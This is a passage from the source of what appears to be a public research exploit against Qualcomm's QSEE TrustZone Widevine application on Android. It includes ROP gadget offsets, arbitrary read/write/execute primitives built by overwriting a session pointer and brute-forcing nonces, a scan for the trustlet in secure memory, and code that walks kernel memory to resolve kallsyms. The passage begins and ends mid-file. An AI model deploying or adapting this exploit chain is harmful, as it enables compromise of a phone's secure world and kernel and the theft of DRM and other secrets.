IP, SP, LR, PC}" gadget from the image base. 122 | */ 123 | #define LDMDB_R0_R4_IP_SP_LR_PC_OFFSET (0x14258) 124 | 125 | /** 126 | * The return address from the main command handling loop 127 | */ 128 | #define MAIN_LOOP_RET_OFFSET (0xBD2 + 1) 129 | 130 | /** 131 | * The offset of the "POP {PC}" gadget from the image base. 132 | */ 133 | #define POP_PC_OFFSET (0x24BDC + 1) 134 | 135 | /** 136 | * The offset of the "LDM R0, {R0, R2, R3, IP, SP, LR, PC}" gadget from the image base. 137 | */ 138 | #define LDM_R0_R0_R2_R3_IP_SP_LR_PC_OFFSET (0x17398) 139 | 140 | /** 141 | * The offset of the "STR R0, [R1]; BX LR;" gadget from the image base. 142 | */ 143 | #define STR_R0_R1_BX_LR_OFFSET (0xE16 + 1) 144 | 145 | /** 146 | * The offset of the "MOV R0, #6; BX LR;" gadget from the image base. 147 | */ 148 | #define RET_6_OFFSET (0x21f70 + 1) 149 | 150 | /** 151 | * The offset of the "LDR R0, [R1, #0]; BX LR" gadget from the image base. 152 | */ 153 | #define LDR_R0_R1_BX_LR_OFFSET (0x24BBA + 1) 154 | 155 | /** 156 | * The offset of the read_dword function pointer from the image base. 157 | */ 158 | #define READ_DWORD_OFFSET (0x24828 + 1) 159 | 160 | /** 161 | * The offset of the write_dword function pointer from the image base. 162 | */ 163 | #define WRITE_DWORD_OFFSET (0x2483E + 1) 164 | 165 | /** 166 | * The offset of the "STR R0, [R2]; BX LR" gadget from the image base. 167 | */ 168 | #define STRB_R0_R2_BX_LR_OFFSET (0x24BFA + 1) 169 | 170 | /** 171 | * The offset of the malloc function from the image base. 172 | */ 173 | #define MALLOC_OFFSET (0xDE2 + 1) 174 | 175 | /** 176 | * The offset of the qsee_sfs_open function from the image base. 177 | */ 178 | #define QSEE_SFS_OPEN_OFFSET (0x4C9C + 1) 179 | 180 | /** 181 | * The offset of the qsee_sfs_read function from the image base. 182 | */ 183 | #define QSEE_SFS_READ_OFFSET (0x4CD6 + 1) 184 | 185 | /** 186 | * The offset of the overwritten function pointer from the data segment start 187 | */ 188 | #define OVERWRITE_FUNCTION_POINTER_OFFSET (0x1B0) 189 | 190 | /** 191 | * The offset of the qsee_syscall function from the image base. 192 | */ 193 | #define QSEE_SYSCALL_OFFSET (0x24E64) 194 | 195 | /** 196 | * The offset of the qsee_cipher_set_param function from the image base. 197 | */ 198 | #define QSEE_CIPHER_SET_PARAM_OFFSET (0x8E4 + 1) 199 | 200 | /** 201 | * The offset of the qsee_cipher_get_param function from the image base. 202 | */ 203 | #define QSEE_CIPHER_GET_PARAM_OFFSET (0x908 + 1) 204 | 205 | #endif 206 | -------------------------------------------------------------------------------- /jni/exploit_utilities.h: -------------------------------------------------------------------------------- 1 | #ifndef __EXPLOIT_UTILITIES_H__ 2 | #define __EXPLOIT_UTILITIES_H__ 3 | 4 | #include "QSEEComAPI.h" 5 | 6 | /** 7 | * The result corresponding with a probed value of 1 8 | */ 9 | #define ONE_RESULT (35) 10 | 11 | /** 12 | * The result corresponding witha a probed value != 1 13 | */ 14 | #define NON_ONE_RESULT (24) 15 | 16 | /** 17 | * An enumeration detailing the possible outcomes of testing for a marked page. 18 | */ 19 | enum page_mark_result { 20 | PAGE_MARKED, 21 | PAGE_NOT_MARKED, 22 | PAGE_INVALID 23 | }; 24 | 25 | /** 26 | * Attempts to figure out if the given address corresponds to a "marked" page (in which 27 | * the sync pattern is written), by probing it at various locations and comparing to the 28 | * sync pattern. 29 | * @param handle The handle used to communicate with QSEECOM. 30 | * @param addr The address to be tested. 31 | * @return The corresponding "page_mark_result". 32 | */ 33 | int is_marked_page(struct qcom_wv_handle* handle, uint32_t addr); 34 | 35 | /** 36 | * Attempts to find the Widevine application within the QSEE "secure apps region". 37 | * This is done by searching for a readable page in the region, then sequentially going 38 | * over each page and trying to find the sync pattern within it. 39 | * @param handle The handle used to communicate with QSEECOM. 40 | * @return The address of the application, or NULL if the application couldn't be found. 41 | */ 42 | void* find_widevine_application(struct qcom_wv_handle* handle); 43 | 44 | /** 45 | * Writes the given value to the given address (and thrashes the 15 following DWORDS), by 46 | * sequentially generating a random value into the address, attempting to match one byte 47 | * at a time. 48 | * @param handle The handle used to communicate with QSEECOM. 49 | * @param val The value to the written. 50 | * @param addr The address to which the data is written. 51 | */ 52 | void write_dword_messy(struct qcom_wv_handle* handle, uint32_t val, uint32_t addr); 53 | 54 | /** 55 | * Overwrites the stack at the given offset with the given stack values. 56 | * @param handle The handle used to communicate with QSEECOM. 57 | * @param stack The stack with which to overwrite the current stack. 58 | * @param stack_size The size of the stack to be overwritten. 59 | */ 60 | void overwrite_stack(struct qcom_wv_handle* handle, uint32_t* stack, uint32_t stack_size); 61 | 62 | /** 63 | * Executes the given function within the application. 64 | * @param handle The handle used to communicate with QSEECOM. 65 | * @param app The base address of the application (in the "secure apps" region). 66 | * @param function_address The address of the function being executed. 67 | * @param arg1 The first argument. 68 | * @param arg2 The second argument. 69 | * @param arg3 The third argument. 70 | * @param arg4 The fourth argument. 71 | * @return The return value from the function. 72 | */ 73 | int execute_function(struct qcom_wv_handle* handle, void* app, uint32_t function_address, uint32_t arg1, uint32_t arg2, uint32_t arg3, uint32_t arg4); 74 | 75 | /** 76 | * Writes the given value to the given address. 77 | * @param handle The handle used to communicate with QSEECOM. 78 | * @param app The base address of the application. 79 | * @param value The value to be written. 80 | * @param address The address to which the value should be written. 81 | */ 82 | void write_dword(struct qcom_wv_handle* handle, void* app, uint32_t value, uint32_t address); 83 | 84 | /** 85 | * Writes the bytes at the given buffer into the given TrustZone address. 86 | * @param handle The handle used to communicate with QSEECOM. 87 | * @param app The base address of the application. 88 | * @param address The address to which the data is written. 89 | * @param data The data buffer (in the non-secure world) to be written. 90 | * @param length The length of the data to be written. 91 | */ 92 | void write_range(struct qcom_wv_handle* handle, void* app, uint32_t address, void* data, uint32_t length); 93 | 94 | /** 95 | * Reads the DWORD at the given address from within TZ. 96 | * @param handle The handle used to communicate with QSEECOM. 97 | * @param app The base address of the application. 98 | * @param address The address to be read. 99 | * @return The read DWORD. 100 | */ 101 | uint32_t read_dword(struct qcom_wv_handle* handle, void* app, uint32_t address); 102 | 103 | /** 104 | * Reads the C string at the given address from TZ. 105 | * @note The returned buffer must be free()-ed by the caller. 106 | * @param handle The handle used to communicate with QSEECOM. 107 | * @param app The base address of the application. 108 | * @param address The address of the string read. 109 | * @return The string at the given address. 110 | */ 111 | char* read_c_string(struct qcom_wv_handle* handle, void* app, uint32_t address); 112 | 113 | /** 114 | * Allocates a buffer of the given size within TrustZone, and returns its address. 115 | * @param handle The handle used to communicate with QSEECOM. 116 | * @param app The base address of the application. 117 | * @param size The size to be allocated. 118 | * @return The allocated buffer's address. 119 | */ 120 | uint32_t tz_malloc(struct qcom_wv_handle* handle, void* app, uint32_t size); 121 | 122 | /** 123 | * Calls the QSEE syscall with the given arguments. 124 | * @param handle The handle used to communicate with QSEECOM. 125 | * @param app The base address of the application. 126 | * @param syscall_num The syscall's number. 127 | * @param arg1 The first argument. 128 | * @param arg2 The second argument. 129 | * @param arg3 The third argument. 130 | * @return The result of the syscall's execution. 131 | */ 132 | uint32_t qsee_syscall(struct qcom_wv_handle* handle, void* app, uint32_t syscall_num, uint32_t arg1, uint32_t arg2, uint32_t arg3); 133 | 134 | /** 135 | * Maps the given address into QSEE, reads it, and unmaps it. 136 | * @param handle The handle used to communicate with QSEECOM. 137 | * @param app The base address of the application. 138 | * @param address The address to be read. 139 | * @return The read DWORD. 140 | */ 141 | uint32_t map_read_dword(struct qcom_wv_handle* handle, void* app, uint32_t address); 142 | 143 | /** 144 | * Maps the given address into QSEE, writes to it, and unmaps it. 145 | * @param handle The handle used to communicate with QSEECOM. 146 | * @param app The base address of the application. 147 | * @param value The value to be written. 148 | * @param address The address to which the data is written. 149 | * @param length The length of the data to be written. 150 | */ 151 | void map_write_dword(struct qcom_wv_handle* handle, void* app, uint32_t value, uint32_t address); 152 | 153 | #endif 154 | -------------------------------------------------------------------------------- /jni/kallsyms.c: -------------------------------------------------------------------------------- 1 | #include "kallsyms.h" 2 | #include "exploit_utilities.h" 3 | #include "qsee_syscalls.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | /** 11 | * The physical address of the kernel's symbol table. 12 | */ 13 | uint32_t g_symbols_start = 0; 14 | 15 | /** 16 | * The number of symbols. 17 | */ 18 | uint32_t g_num_symbols = 0; 19 | 20 | /** 21 | * The start address of the kallsyms compressed names. 22 | */ 23 | uint32_t g_kallsyms_names_addr = 0; 24 | 25 | /** 26 | * The token table containing each of the compression tokens. 27 | */ 28 | char* g_token_table[KALLSYMS_NUM_TOKENS]; 29 | 30 | /** 31 | * Whether or not the symbol table addresses have already been found. 32 | */ 33 | uint32_t g_initialized = 0; 34 | 35 | int is_kernel_virt_address(uint32_t addr) { 36 | return (addr >= KERNEL_VIRT_ADDR) && (addr <= (KERNEL_VIRT_ADDR + KERNEL_SIZE)); 37 | } 38 | 39 | int is_potential_symbol_table_page(struct qcom_wv_handle* handle, void* app, uint32_t off) { 40 | 41 | //Reading the first DWORD in the given offset 42 | uint32_t prev_val = read_dword(handle, app, KERNEL_PHYS_ADDR + off); 43 | if (!is_kernel_virt_address(prev_val)) 44 | return 0; 45 | 46 | //Reading the rest of the DWORDs and making sure they are monotone kernel virtual addresses 47 | for (int i=1; i < SYMBOL_TABLE_DWORD_COUNT; i++) { 48 | uint32_t current_val = read_dword(handle, app, KERNEL_PHYS_ADDR + off + i*sizeof(uint32_t)); 49 | if (!is_kernel_virt_address(current_val)) 50 | return 0; 51 | if (current_val < prev_val) 52 | return 0; 53 | prev_val = current_val; 54 | } 55 | return 1; 56 | } 57 | 58 | int is_symbol_table(struct qcom_wv_handle* handle, void* app, uint32_t off) { 59 | for (int i=0; i < NUM_SYMBOL_TABLE_PAGES; i++) 60 | if (!is_potential_symbol_table_page(handle, app, off + i*PAGE_SIZE)) 61 | return 0; 62 | return 1; 63 | } 64 | 65 | uint32_t next_label(uint32_t address) { 66 | if ((address & (LABEL_ALIGN-1)) == 0) 67 | return address + LABEL_ALIGN; 68 | else 69 | return (address + LABEL_ALIGN) & ~(LABEL_ALIGN-1); 70 | } 71 | 72 | int find_symbol_table_addresses(struct qcom_wv_handle* handle, void* app) { 73 | 74 | //Mapping in the kernel's addresses 75 | qsee_syscall(handle, app, QSEE_REGISTER_SHARED_BUF, KERNEL_PHYS_ADDR, KERNEL_SIZE, 0); 76 | qsee_syscall(handle, app, QSEE_PREPARE_SECURE_READ, KERNEL_PHYS_ADDR, KERNEL_SIZE, 0); 77 | 78 | //Searching for a series of increasing kernel pointers in at least two adjacent pages 79 | uint32_t approx_table_off = 0; 80 | for (uint32_t off = 0; off < KERNEL_CODE_SIZE; off += NUM_SYMBOL_TABLE_PAGES * PAGE_SIZE) { 81 | if (is_symbol_table(handle, app, off)) { 82 | printf("[+] Found potential symbol table page at 0x%08X\n", KERNEL_PHYS_ADDR + off); 83 | approx_table_off = off; 84 | break; 85 | } 86 | } 87 | if (!approx_table_off) { 88 | printf("[-] Failed to find symbol table chunks\n"); 89 | return -ENOENT; 90 | } 91 | 92 | //We found a potential table, scan backwards until we find the beginning 93 | for (uint32_t off = approx_table_off; off > 0; off -= sizeof(uint32_t)) { 94 | if (read_dword(handle, app, KERNEL_PHYS_ADDR + off) == KERNEL_VIRT_ADDR && 95 | read_dword(handle, app, KERNEL_PHYS_ADDR + off + sizeof(uint32_t)) == KERNEL_VIRT_ADDR) { 96 | g_symbols_start = KERNEL_PHYS_ADDR + off; 97 | printf("[+] Found symbol table: 0x%08X\n", g_symbols_start); 98 | break; 99 | } 100 | } 101 | if (!g_symbols_start) { 102 | printf("[-] Failed to find symbol table start\n"); 103 | return -ENOENT; 104 | } 105 | 106 | //Searching for the symbol table's end 107 | uint32_t symbol_table_end_off = g_symbols_start - KERNEL_PHYS_ADDR; 108 | while (is_symbol_table(handle, app, symbol_table_end_off)) 109 | symbol_table_end_off += PAGE_SIZE; 110 | while (read_dword(handle, app, KERNEL_PHYS_ADDR + symbol_table_end_off) != 0) 111 | symbol_table_end_off += sizeof(uint32_t); 112 | uint32_t symbol_table_end_addr = KERNEL_PHYS_ADDR + symbol_table_end_off; 113 | printf("[+] Symbol table end: 0x%08X\n", symbol_table_end_addr); 114 | 115 | //Reading the num_syms label 116 | uint32_t kallsyms_num_syms_addr = next_label(symbol_table_end_addr); 117 | g_num_symbols = read_dword(handle, app, kallsyms_num_syms_addr); 118 | printf("[+] Num symbols: 0x%08X\n", g_num_symbols); 119 | if (g_num_symbols != (symbol_table_end_addr - g_symbols_start)/sizeof(uint32_t)) { 120 | printf("[-] Mismatching number of symbols! Aborting.\n"); 121 | return -EINVAL; 122 | } 123 | 124 | //Calculating the location of the markers offset 125 | g_kallsyms_names_addr = next_label(kallsyms_num_syms_addr); 126 | printf("[+] kallsyms_names: 0x%08X\n", g_kallsyms_names_addr); 127 | uint32_t current_addr = g_kallsyms_names_addr; 128 | for (int i=0; i> 8) * sizeof(uint32_t))); 135 | printf("[+] kallsyms_token_table: 0x%08X\n", kallsyms_token_table_addr); 136 | current_addr = kallsyms_token_table_addr; 137 | for (int i=0; i0; j--) { 173 | uint32_t token_table_idx = read_dword(handle, app, current_addr) & 0xFF; 174 | strcat(symbol_name, g_token_table[token_table_idx]); 175 | current_addr++; 176 | } 177 | if (strcmp(symbol_name+1, name) == 0) { 178 | return read_dword(handle, app, g_symbols_start + i*sizeof(uint32_t)); 179 | } 180 | 181 | } 182 | return 0; 183 | } 184 | -------------------------------------------------------------------------------- /jni/QSEEComAPI.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2012, The Android Open Source Project 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you 5 | * may not use this file except in compliance with the License. You may 6 | * obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 13 | * implied. See the License for the specific language governing 14 | * permissions and limitations under the License. 15 | */ 16 | 17 | #ifndef __QSEECOMAPI_H_ 18 | #define __QSEECOMAPI_H_ 19 | 20 | 21 | /*---------------------------------------------------------------------------- 22 | * Include Files 23 | * -------------------------------------------------------------------------*/ 24 | #include 25 | #include 26 | 27 | #define QSEECOM_ALIGN_SIZE 0x40 28 | #define QSEECOM_ALIGN_MASK (QSEECOM_ALIGN_SIZE - 1) 29 | #define QSEECOM_ALIGN(x) \ 30 | ((x + QSEECOM_ALIGN_SIZE) & (~QSEECOM_ALIGN_MASK)) 31 | 32 | #ifdef __cplusplus 33 | extern "C" { 34 | #endif 35 | 36 | /*---------------------------------------------------------------------------- 37 | * Preprocessor Definitions and Constants 38 | * -------------------------------------------------------------------------*/ 39 | /** The memory is locked and non-pageable */ 40 | #define MEM_LOCKED 0x00000001 41 | /** The memory is marked non-cacheable */ 42 | #define MEM_NON_CACHED 0x00000002 43 | 44 | #define QSEECOM_APP_QUERY_FAILED -6 45 | #define QSEECOM_APP_NOT_LOADED -5 46 | #define QSEECOM_APP_ALREADY_LOADED -4 47 | #define QSEECOM_LISTENER_UNREGISTERED -3 48 | #define QSEECOM_LISTENER_ALREADY_REGISTERED -2 49 | #define QSEECOM_LISTENER_REGISTER_FAIL -1 50 | 51 | /*---------------------------------------------------------------------------- 52 | * Type Declarations 53 | * -------------------------------------------------------------------------*/ 54 | struct QSEECom_handle { 55 | unsigned char *ion_sbuffer; 56 | }; 57 | 58 | struct QSEECom_ion_fd_data { 59 | int32_t fd; 60 | uint32_t cmd_buf_offset; 61 | }; 62 | 63 | struct QSEECom_ion_fd_info { 64 | struct QSEECom_ion_fd_data data[4]; 65 | }; 66 | 67 | /** 68 | * A structure which is used to house all the data needed to interface with QSEECom 69 | */ 70 | struct qcom_wv_handle { 71 | struct QSEECom_handle *qseecom; 72 | void *libhandle; 73 | int (*QSEECom_start_app)(struct QSEECom_handle ** handle, char* path, 74 | char* appname, uint32_t size); 75 | int (*QSEECom_shutdown_app)(struct QSEECom_handle **handle); 76 | int (*QSEECom_send_cmd)(struct QSEECom_handle* handle, void *cbuf, 77 | uint32_t clen, void *rbuf, uint32_t rlen); 78 | int (*QSEECom_send_modified_cmd)(struct QSEECom_handle* handle, void *cbuf, 79 | uint32_t clen, void *rbuf, uint32_t rlen, 80 | struct QSEECom_ion_fd_info *ihandle); 81 | int (*QSEECom_set_bandwidth)(struct QSEECom_handle* handle, bool high); 82 | }; 83 | 84 | /*---------------------------------------------------------------------------- 85 | * Function Declarations and Documentation 86 | * -------------------------------------------------------------------------*/ 87 | /** 88 | * @brief Open a handle to the QSEECom device. 89 | * 90 | * - Load a secure application. The application will be verified that it is 91 | * secure by digital signature verification. 92 | * Allocate memory for sending requests to the QSAPP 93 | * 94 | * Note/Comments: 95 | * There is a one-to-one relation for a HLOS client and a QSAPP; 96 | * meaning that only one app can communicate to a QSAPP at a time. 97 | * 98 | * Please note that there is difference between an application and a listener 99 | * service. A QSAPP must be loaded at the request of the HLOS, 100 | * and all requests are orginated by the HLOS client. 101 | * A listener service on the otherhand is started during start-up by a 102 | * daemon, qseecomd. 103 | * 104 | * A HLOS application may create mutiple handles to the QSAPP 105 | * 106 | * @param[in/out] handle The device handle 107 | * @param[in] fname The directory and filename to load. 108 | * @param[in] sb_size Size of the shared buffer memory for sending requests. 109 | * @return Zero on success, negative on failure. errno will be set on 110 | * error. 111 | */ 112 | int QSEECom_start_app(struct QSEECom_handle **clnt_handle, const char *path, 113 | const char *fname, uint32_t sb_size); 114 | 115 | /** 116 | * @brief Close the application associated with the handle. 117 | * 118 | * - Unload a secure application. The driver will verify if there exists 119 | * any other applications that are communicating with the QSAPP to which 120 | * the "handle" is tied. 121 | * - De-allocate memory for sending requests to QSAPP. 122 | * 123 | * @param[in] handle The device handle 124 | * @return Zero on success, negative on failure. errno will be set on 125 | * error. 126 | */ 127 | int QSEECom_shutdown_app(struct QSEECom_handle **handle); 128 | 129 | /** 130 | * @brief Open a handle to the QSEECom device. 131 | * 132 | * - Load an external elf. The elf will be verified that it is 133 | * secure by digital signature verification. 134 | * 135 | * A HLOS application may create mutiple opens (only one is permitted for the 136 | * app, but each listener service can open a unique device in the same HLOS app 137 | * /executable. 138 | * @param[in/out] handle The device handle 139 | * @param[in] fname The directory and filename to load. 140 | * @return Zero on success, negative on failure. errno will be set on 141 | * error. 142 | */ 143 | int QSEECom_load_external_elf(struct QSEECom_handle **clnt_handle, const char *path, 144 | const char *fname); 145 | 146 | /** 147 | * @brief Close the external elf 148 | * 149 | * - Unload an external elf. 150 | * 151 | * @param[in] handle The device handle 152 | * 153 | * @return Zero on success, negative on failure. errno will be set on 154 | * error. 155 | */ 156 | int QSEECom_unload_external_elf(struct QSEECom_handle **handle); 157 | 158 | /** 159 | * @brief Register an HLOS listener service. This allows messages from QSAPP 160 | * to be received. 161 | * 162 | * @param[in] handle The device handle 163 | * @param[in] lstnr_id The listener service identifier. This ID must be uniquely 164 | * assigned to avoid any collisions. 165 | * @param[in] sb_length Shared memory buffer between OS and QSE. 166 | * @param[in] flags Provide the shared memory flags attributes. 167 | * 168 | * @return Zero on success, negative on failure. errno will be set on 169 | * error. 170 | * 171 | */ 172 | int QSEECom_register_listener(struct QSEECom_handle **handle, 173 | uint32_t lstnr_id, uint32_t sb_length, uint32_t flags); 174 | 175 | /** 176 | * @brief Unregister a listener service. 177 | * 178 | * @param[in] handle The device handle 179 | * 180 | * @return Zero on success, negative on failure. errno will be set on 181 | * error. 182 | */ 183 | int QSEECom_unregister_listener(struct QSEECom_handle *handle); 184 | 185 | 186 | /** 187 | * @brief Send QSAPP a "user" defined buffer (may contain some message/ 188 | * command request) and receives a response from QSAPP in receive buffer. 189 | * The HLOS client writes to the send_buf, where QSAPP writes to the rcv_buf. 190 | * This is a blocking call. 191 | * 192 | * @param[in] handle The device handle 193 | * @param[in] send_buf The buffer to be sent. 194 | * If using ion_sbuffer, ensure this 195 | * QSEECOM_BUFFER_ALIGN'ed. 196 | * @param[in] sbuf_len The send buffer length 197 | * If using ion_sbuffer, ensure length is 198 | * multiple of QSEECOM_BUFFER_ALIGN. 199 | * @param[in] rcv_buf The QSEOS returned buffer. 200 | * If using ion_sbuffer, ensure this is 201 | * QSEECOM_BUFFER_ALIGN'ed. 202 | * @param[in] rbuf_len The returned buffer length. 203 | * If using ion_sbuffer, ensure length is 204 | * multiple of QSEECOM_BUFFER_ALIGN. 205 | * @param[in] rbuf_len The returned buffer length. 206 | * 207 | * @return Zero on success, negative on failure. errno will be set on 208 | * error. 209 | */ 210 | int QSEECom_send_cmd(struct QSEECom_handle *handle, void *send_buf, 211 | uint32_t sbuf_len, void *rcv_buf, uint32_t rbuf_len); 212 | 213 | 214 | /** 215 | * @brief Send QSAPP a "user" defined buffer (may contain some message/ 216 | * command request) and receives a response from QSAPP in receive buffer. 217 | * This API is same as send_cmd except it takes in addition parameter, 218 | * "ifd_data". This "ifd_data" holds information (ion fd handle and 219 | * cmd_buf_offset) used for modifying data in the message in send_buf 220 | * at an offset. Essentailly, it has the ion fd handle information to 221 | * retrieve physical address and modify the message in send_buf at the 222 | * mentioned offset. 223 | * 224 | * The HLOS client writes to the send_buf, where QSAPP writes to the rcv_buf. 225 | * This is a blocking call. 226 | * 227 | * @param[in] handle The device handle 228 | * @param[in] send_buf The buffer to be sent. 229 | * If using ion_sbuffer, ensure this 230 | * QSEECOM_BUFFER_ALIGN'ed. 231 | * @param[in] sbuf_len The send buffer length 232 | * If using ion_sbuffer, ensure length is 233 | * multiple of QSEECOM_BUFFER_ALIGN. 234 | * @param[in] rcv_buf The QSEOS returned buffer. 235 | * If using ion_sbuffer, ensure this is 236 | * QSEECOM_BUFFER_ALIGN'ed. 237 | * @param[in] rbuf_len The returned buffer length. 238 | * If using ion_sbuffer, ensure length is 239 | * multiple of QSEECOM_BUFFER_ALIGN. 240 | * @param[in] QSEECom_ion_fd_info data related to memory allocated by ion. 241 | * 242 | * @return Zero on success, negative on failure. errno will be set on 243 | * error. 244 | */ 245 | int QSEECom_send_modified_cmd(struct QSEECom_handle *handle, void *send_buf, 246 | uint32_t sbuf_len, void *resp_buf, uint32_t rbuf_len, 247 | struct QSEECom_ion_fd_info *ifd_data); 248 | 249 | /** 250 | * @brief Receive a service defined buffer. 251 | * 252 | * @param[in] handle The device handle 253 | * @param[out] buf The buffer that is received 254 | * @param[in] len The receive buffer length 255 | * 256 | * @return Zero on success, negative on failure. errno will be set on 257 | * error. 258 | */ 259 | int QSEECom_receive_req(struct QSEECom_handle *handle, 260 | void *buf, uint32_t len); 261 | 262 | /** 263 | * @brief Send a response based on the previous QSEECom_receive_req. 264 | * 265 | * This allows a listener service to receive a command (e.g. read file abc). 266 | * The service can then handle the request from QSEECom_receive_req, and provide 267 | * that information back to QSAPP. 268 | * 269 | * This allows the HLOS to act as the server and QSAPP to behave as the client. 270 | * 271 | * @param[in] handle The device handle 272 | * @param[out] send_buf The buffer to be returned back to QSAPP 273 | * @param[in] len The send buffer length 274 | * 275 | * @return Zero on success, negative on failure. errno will be set on 276 | * error. 277 | */ 278 | int QSEECom_send_resp(struct QSEECom_handle *handle, 279 | void *send_buf, uint32_t len); 280 | 281 | /** 282 | * @brief Set the bandwidth for QSEE. 283 | * 284 | * This API resulst in improving the performance on the Crypto hardware 285 | * in QSEE. It should be called before issuing send_cmd/send_modified_cmd 286 | * for commands that requires using the crypto hardware on the QSEE. 287 | * Typically this API should be called before issuing the send request to 288 | * enable high performance mode and after completion of the send_cmd to 289 | * resume to low performance and hence to low power mode. 290 | * 291 | * This allows the clients of QSEECom to set the QSEE cyptpo HW bus 292 | * bandwidth to high/low. 293 | * 294 | * @param[in] high Set to 1 to enable bandwidth. 295 | * 296 | * @return Zero on success, negative on failure. errno will be set on 297 | * error. 298 | */ 299 | int QSEECom_set_bandwidth(struct QSEECom_handle *handle, bool high); 300 | 301 | /** 302 | * @brief Query QSEE to check if app is loaded. 303 | * 304 | * This API queries QSEE to see if the app is loaded or not. 305 | * 306 | * @param[in] app_name Name of the app. 307 | * 308 | * @return QSEECOM_APP_QUERY_FAILED/QSEECOM_APP_NOT_LOADED/QSEECOM_APP_LOADED. 309 | */ 310 | int QSEECom_app_load_query(struct QSEECom_handle *handle, char *app_name); 311 | 312 | /** 313 | * Initializes a new handle which can be used to communicate with QSEECom. 314 | * @return The handle used to communicate with QSEECom. 315 | */ 316 | struct qcom_wv_handle* initialize_wv_handle(); 317 | 318 | #ifdef __cplusplus 319 | } 320 | #endif 321 | 322 | #endif 323 | -------------------------------------------------------------------------------- /jni/exploit_utilities.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "exploit_utilities.h" 6 | #include "QSEEComAPI.h" 7 | #include "qsee_syscalls.h" 8 | #include "widevine_commands.h" 9 | #include "symbols.h" 10 | #include "defs.h" 11 | #include "vuln.h" 12 | 13 | /** 14 | * The physical address of the request buffer. 15 | */ 16 | int g_request_buffer_physical_address = 0; 17 | 18 | /** 19 | * A flag indicating if the pivot gadget has been written. 20 | */ 21 | int g_wrote_pivot_address = 0; 22 | 23 | int is_marked_page(struct qcom_wv_handle* handle, uint32_t addr) { 24 | 25 | //Going over each element in the sync pattern 26 | for (uint32_t i=0; iQSEECom_shutdown_app)((struct QSEECom_handle **)&handle->qseecom); 35 | (*handle->QSEECom_start_app)((struct QSEECom_handle **)&handle->qseecom, 36 | WIDEVINE_PATH, WIDEVINE_APP_NAME, WIDEVINE_BUFFER_SIZE); 37 | return PAGE_INVALID; 38 | } 39 | //Is this a "one" result? 40 | else if (derive_res == ONE_RESULT) { 41 | if (!g_sync_pattern[2*i] == 1) { 42 | printf("[+] Match sync pattern element %d\n", i); 43 | } 44 | else { 45 | printf("[-] Sync element pattern mismatch\n"); 46 | return PAGE_NOT_MARKED; 47 | } 48 | } 49 | //Is this a "non-one" result? 50 | else if (derive_res == NON_ONE_RESULT) { 51 | if (!g_sync_pattern[2*i] != 1) { 52 | printf("[+] Match sync pattern element %d\n", i); 53 | } 54 | else { 55 | printf("[-] Sync element pattern mismatch\n"); 56 | return PAGE_NOT_MARKED; 57 | } 58 | } 59 | else { 60 | printf("[-] Unknown deriviation result: %d, aborting!\n", derive_res); 61 | return PAGE_INVALID; 62 | } 63 | } 64 | return PAGE_MARKED; 65 | } 66 | 67 | void* find_widevine_application(struct qcom_wv_handle* handle) { 68 | 69 | //Searching for the Widevine application in the secure app region using the sync pattern 70 | for (uint32_t addr = SECURE_APP_REGION_START + DATA_SEGMENT_OFFSET; addr < SECURE_APP_REGION_END; addr += DATA_SEGMENT_OFFSET) { 71 | 72 | //Trying to probe the current page to see if there's anything there 73 | printf("[+] Trying to probe 0x%08X\n", addr); 74 | overwrite_session_pointer(handle, 0, addr); 75 | int derive_res = derive_keys_from_session_key(handle, 0, 1, 1, 1); 76 | 77 | //Did we crash? 78 | if (derive_res == 0) { 79 | printf("[+] Crashed, jumping ahead\n"); 80 | (*handle->QSEECom_shutdown_app)((struct QSEECom_handle **)&handle->qseecom); 81 | (*handle->QSEECom_start_app)((struct QSEECom_handle **)&handle->qseecom, 82 | WIDEVINE_PATH, WIDEVINE_APP_NAME, WIDEVINE_BUFFER_SIZE); 83 | continue; 84 | } 85 | printf("[+] Didn't crash, starting to scan linearly\n"); 86 | 87 | //Otherwise, since we didn't crash, let's start scanning sequentially 88 | while (true) { 89 | printf("[+] Scanning page %08X for sync pattern\n", addr); 90 | int marked_page_res = is_marked_page(handle, addr); 91 | if (marked_page_res == PAGE_INVALID) { 92 | printf("[+] Crashed in linear scan, jumping ahead\n"); 93 | //We crashed, so advance by DATA_SEGMENT_OFFSET 94 | break; 95 | } 96 | else if (marked_page_res == PAGE_NOT_MARKED) { 97 | printf("[+] Not a marked page, continuing to scan\n"); 98 | addr += 0x1000; 99 | } 100 | else { 101 | //Found the sync pattern! 102 | printf("[+] Found!\n"); 103 | return (void*)(addr - DATA_SEGMENT_OFFSET); 104 | } 105 | } 106 | 107 | } 108 | return NULL; 109 | } 110 | 111 | void write_dword_messy(struct qcom_wv_handle* handle, uint32_t val, uint32_t addr) { 112 | 113 | //Iterating over each byte of the wanted value 114 | for (int i=0; i> (i*8)) & 0xFF; 116 | while (true) { 117 | 118 | //Need to overwrite the session pointer each iteration because there's a counter when 119 | //generating the nonce which will prevent the nonce generation from happening after 120 | //16 calls. Thankfully, this counter is one of the pieces of information which is 121 | //overwritten by the overflow, and so each time we write the session pointer, the counter 122 | //is reset to zero 123 | overwrite_session_pointer(handle, 0, addr + i - NONCE_GENERATION_OFFSET); 124 | 125 | //Generating a random value into the target location 126 | uint32_t nonce; 127 | generate_nonce(handle, 0, &nonce); 128 | 129 | //Is this our wanted value? 130 | uint8_t generated_byte = (uint8_t)(nonce & 0xFF); 131 | if (wanted_byte == generated_byte) { 132 | printf("[+] Got a byte!\n"); 133 | break; 134 | } 135 | } 136 | } 137 | } 138 | 139 | int execute_function(struct qcom_wv_handle* handle, void* app, uint32_t function_address, uint32_t arg1, uint32_t arg2, uint32_t arg3, uint32_t arg4) { 140 | 141 | //Initializing the request and response buffers 142 | uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000); //BUGFIX: Need a large size for functions that use a lot of stack space! 143 | //This also means all the offsets must be into the "middle" of this buffer 144 | //rather than the end, to allow to stack to expand in that direction 145 | uint32_t cmd_resp_size = QSEECOM_ALIGN(0x400); 146 | uint32_t* cmd_req = malloc(cmd_req_size); 147 | uint32_t* cmd_resp = malloc(cmd_resp_size); 148 | 